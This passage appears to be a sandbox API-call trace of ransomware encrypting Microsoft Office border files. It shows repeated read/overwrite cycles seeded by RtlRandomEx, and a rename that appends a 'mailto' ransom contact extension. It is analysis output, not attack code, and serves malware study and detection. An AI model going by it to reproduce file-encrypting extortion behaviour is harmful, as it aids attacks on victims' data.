0x601e4e04 [0063.495] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x5b6e7a9e [0063.495] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x6038d7ee [0063.495] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x77dbbae0 [0063.495] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x2b755512 [0063.495] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x3e53e233 [0063.506] ReadFile (in: hFile=0x650, lpBuffer=0x5eab8a0, nNumberOfBytesToRead=0x7df6, lpNumberOfBytesRead=0x502fac4, lpOverlapped=0x0 | out: lpBuffer=0x5eab8a0*, lpNumberOfBytesRead=0x502fac4*=0x7df6, lpOverlapped=0x0) returned 1 [0063.508] SetFilePointerEx (in: hFile=0x650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.508] WriteFile (in: hFile=0x650, lpBuffer=0x5e86088*, nNumberOfBytesToWrite=0x7df6, lpNumberOfBytesWritten=0x502fac0, lpOverlapped=0x0 | out: lpBuffer=0x5e86088*, lpNumberOfBytesWritten=0x502fac0*=0x7df6, lpOverlapped=0x0) returned 1 [0066.635] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce348 [0066.635] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce2f8 [0066.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce2f8) returned 1 [0066.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e86088) returned 1 [0066.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eab8a0) returned 1 [0066.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e464a8) returned 1 [0066.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402600) returned 1 [0066.641] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x4e0420 [0066.641] SetFilePointerEx (in: hFile=0x650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.641] WriteFile (hFile=0x650, lpBuffer=0x445868, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x502fb28, lpOverlapped=0x0) Thread: id = 1108 os_tid = 0xbd0 [0059.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr")) returned 0x20 [0063.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR", dwFileAttributes=0x20) returned 1 [0063.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf54 [0063.509] GetFileSizeEx (in: hFile=0xf54, lpFileSize=0x4fdf7e4 | out: lpFileSize=0x4fdf7e4*=9292) returned 1 [0063.509] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x2448, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.509] ReadFile (in: hFile=0xf54, lpBuffer=0x4fdf768, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4fdf764, lpOverlapped=0x0 | out: lpBuffer=0x4fdf768*, lpNumberOfBytesRead=0x4fdf764*=0x4, lpOverlapped=0x0) returned 1 [0063.511] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05070 [0063.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05700 [0063.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05660 [0063.511] NtQuerySystemTime (in: CurrentTime=0x4fdf744 | out: CurrentTime=0x4fdf744*=132174898274844000) returned 0x0 [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x252c26c0 [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x1f046429 [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x55f5f0e0 [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x1bc9d7f4 [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x6f4e4958 [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x73d2072f [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x34be7168 [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x68a8ed07 [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x64f3f3bd [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x21375a63 [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x6b08c646 [0063.511] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x1ca83ae7 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x79e1aeec [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0xc0f5cb1 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x1f867ffc [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x9ea5f9 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x666e391c [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0xadd8b19 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x7a4663b6 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x6ebe0803 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x74d85441 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x3f053b27 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x95092f4 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x45b5b81d [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x2a1ba4c9 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x23f3ca5d [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x352839bf [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x7c2bdb81 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x17307419 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x6446bff6 [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x51b0f4dd [0063.512] RtlRandomEx (in: Seed=0x4fdf750 | out: Seed=0x4fdf750) returned 0x5f14d875 [0063.524] ReadFile (in: hFile=0xf54, lpBuffer=0x12d8a9b0, nNumberOfBytesToRead=0x244c, lpNumberOfBytesRead=0x4fdf740, lpOverlapped=0x0 | out: lpBuffer=0x12d8a9b0*, lpNumberOfBytesRead=0x4fdf740*=0x244c, lpOverlapped=0x0) returned 1 [0063.525] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.525] WriteFile (in: hFile=0xf54, lpBuffer=0x19808810*, nNumberOfBytesToWrite=0x244c, lpNumberOfBytesWritten=0x4fdf73c, lpOverlapped=0x0 | out: lpBuffer=0x19808810*, lpNumberOfBytesWritten=0x4fdf73c*=0x244c, lpOverlapped=0x0) returned 1 [0063.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05070 [0063.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05660 [0063.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05660) returned 1 [0063.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19808810) returned 1 [0063.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d8a9b0) returned 1 [0063.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45e90) returned 1 [0063.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4027b0) returned 1 [0063.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97cee70 [0063.527] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.527] WriteFile (in: hFile=0xf54, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x4fdf7a4, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x4fdf7a4*=0x107, lpOverlapped=0x0) returned 1 [0063.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0063.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0063.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05660) returned 1 [0063.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0063.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05070) returned 1 [0063.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05700) returned 1 [0063.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05430) returned 1 [0063.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05548) returned 1 [0063.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00470 [0063.529] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" [0063.529] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.mailto[2Hamlampampom@cock.li].cd46d" [0063.529] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x4fdf75c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf96e0 [0063.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0063.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f32b0) returned 1 [0063.530] NtQueryInformationFile (in: FileHandle=0xf54, IoStatusBlock=0x4fdf768, FileInformation=0x4fdf740, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4fdf768, FileInformation=0x4fdf740) returned 0x0 [0063.530] NtSetInformationFile (FileHandle=0xf54, IoStatusBlock=0x4fdf768, FileInformation=0x4fdf740, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0063.531] FlushFileBuffers (hFile=0xf54) returned 1 [0066.226] CloseHandle (hObject=0xf54) Thread: id = 1109 os_tid = 0xd14 [0059.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr")) returned 0x20 [0063.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR", dwFileAttributes=0x20) returned 1 [0063.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf4c [0063.532] GetFileSizeEx (in: hFile=0xf4c, lpFileSize=0x408fb28 | out: lpFileSize=0x408fb28*=30920) returned 1 [0063.532] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x78c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.532] ReadFile (in: hFile=0xf4c, lpBuffer=0x408faac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x408faa8, lpOverlapped=0x0 | out: lpBuffer=0x408faac*, lpNumberOfBytesRead=0x408faa8*=0x4, lpOverlapped=0x0) returned 1 [0063.534] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05548 [0063.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05430 [0063.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05700 [0063.534] NtQuerySystemTime (in: CurrentTime=0x408fa88 | out: CurrentTime=0x408fa88*=132174898275156000) returned 0x0 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x6e21b31a [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x360fa0e3 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x10477c22 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x6d698b6c [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x738f7032 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x59ad4c23 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x62015198 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x6a7c9c35 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x5661f900 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x2b023b67 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x49fa00e3 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x274ee9b5 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x48ca1321 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x41163789 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x40640fbb [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0xc2836b9 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x1879507e [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x4c3ffbbd [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x4b44e055 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x36a36f7e [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x44bbbfe2 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x2475f70c [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x13264856 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x26cafe66 [0063.534] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x18e9fd76 [0063.535] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x6846fcaf [0063.535] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x5d7f48d5 [0063.535] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x6d871fe6 [0063.535] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x2438da5 [0063.535] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x2ccbb4a5 [0063.535] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x434c4524 [0063.535] RtlRandomEx (in: Seed=0x408fa94 | out: Seed=0x408fa94) returned 0x385f1444 [0063.546] ReadFile (in: hFile=0xf4c, lpBuffer=0x12d8a9b0, nNumberOfBytesToRead=0x78c8, lpNumberOfBytesRead=0x408fa84, lpOverlapped=0x0 | out: lpBuffer=0x12d8a9b0*, lpNumberOfBytesRead=0x408fa84*=0x78c8, lpOverlapped=0x0) returned 1 [0063.547] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.548] WriteFile (in: hFile=0xf4c, lpBuffer=0x19808810*, nNumberOfBytesToWrite=0x78c8, lpNumberOfBytesWritten=0x408fa80, lpOverlapped=0x0 | out: lpBuffer=0x19808810*, lpNumberOfBytesWritten=0x408fa80*=0x78c8, lpOverlapped=0x0) returned 1 [0066.713] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed8b8 [0066.713] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edb10 [0066.713] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edb10) returned 1 [0066.713] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19808810) returned 1 [0066.889] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d8a9b0) returned 1 [0066.893] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45e90) returned 1 [0066.893] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4027b0) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x4e0570 [0066.893] SetFilePointerEx (in: hFile=0xf4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.893] WriteFile (hFile=0xf4c, lpBuffer=0x12e2bc20, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x408fae8, lpOverlapped=0x0) Thread: id = 1110 os_tid = 0xd18 [0059.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 0x20 [0063.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR", dwFileAttributes=0x20) returned 1 [0063.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb68 [0063.549] GetFileSizeEx (in: hFile=0xb68, lpFileSize=0x62cfc04 | out: lpFileSize=0x62cfc04*=58756) returned 1 [0063.549] SetFilePointerEx (in: hFile=0xb68, liDistanceToMove=0xe580, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.549] ReadFile (in: hFile=0xb68, lpBuffer=0x62cfb88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x62cfb84, lpOverlapped=0x0 | out: lpBuffer=0x62cfb88*, lpNumberOfBytesRead=0x62cfb84*=0x4, lpOverlapped=0x0) returned 1 [0063.550] SetFilePointerEx (in: hFile=0xb68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.550] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05548 [0063.551] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05700 [0063.551] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d054a8 [0063.551] NtQuerySystemTime (in: CurrentTime=0x62cfb64 | out: CurrentTime=0x62cfb64*=132174898275312000) returned 0x0 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x6ed332c4 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x225e2860 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x4e94321c [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x52843133 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x11839ae6 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x2a48f0ab [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x4d1ce65f [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x35266dec [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x72e520fc [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x3f8c2d74 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0xad387a [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x44a32332 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x265ac1ff [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x2ad45740 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x429ee1f7 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x2a2ceb6e [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x1d67386e [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x5e788ff1 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x7291c305 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x2ad45686 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x180f20ac [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x45ba1c92 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x2c7ed784 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x69779d44 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x2385688b [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x824cd93 [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x23804c6f [0063.551] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x7a0c87ac [0063.552] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x8f1e26d [0063.552] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x20678ce9 [0063.552] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0xbe10f5a [0063.552] RtlRandomEx (in: Seed=0x62cfb70 | out: Seed=0x62cfb70) returned 0x775cd9bf [0063.564] SetFilePointerEx (in: hFile=0xb68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.564] ReadFile (in: hFile=0xb68, lpBuffer=0x194f5860, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x62cfb44, lpOverlapped=0x0 | out: lpBuffer=0x194f5860*, lpNumberOfBytesRead=0x62cfb44*=0xc800, lpOverlapped=0x0) returned 1 [0063.565] SetFilePointerEx (in: hFile=0xb68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402a38 [0063.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45ad0 [0063.565] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05548 [0063.565] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05548) returned 1 [0063.566] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1962e128 [0063.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05548 [0063.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d054a8 [0063.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d054a8) returned 1 [0063.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45ad0) returned 1 [0063.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a38) returned 1 [0063.567] WriteFile (in: hFile=0xb68, lpBuffer=0x1962e128*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x62cfb44, lpOverlapped=0x0 | out: lpBuffer=0x1962e128*, lpNumberOfBytesWritten=0x62cfb44*=0xc800, lpOverlapped=0x0) returned 1 [0063.569] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1962e128) returned 1 [0063.569] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194f5860) returned 1 [0063.569] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97cee70 [0063.569] SetFilePointerEx (in: hFile=0xb68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.569] WriteFile (in: hFile=0xb68, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x62cfbc4, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x62cfbc4*=0x107, lpOverlapped=0x0) returned 1 [0063.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0063.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0063.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d054a8) returned 1 [0063.570] 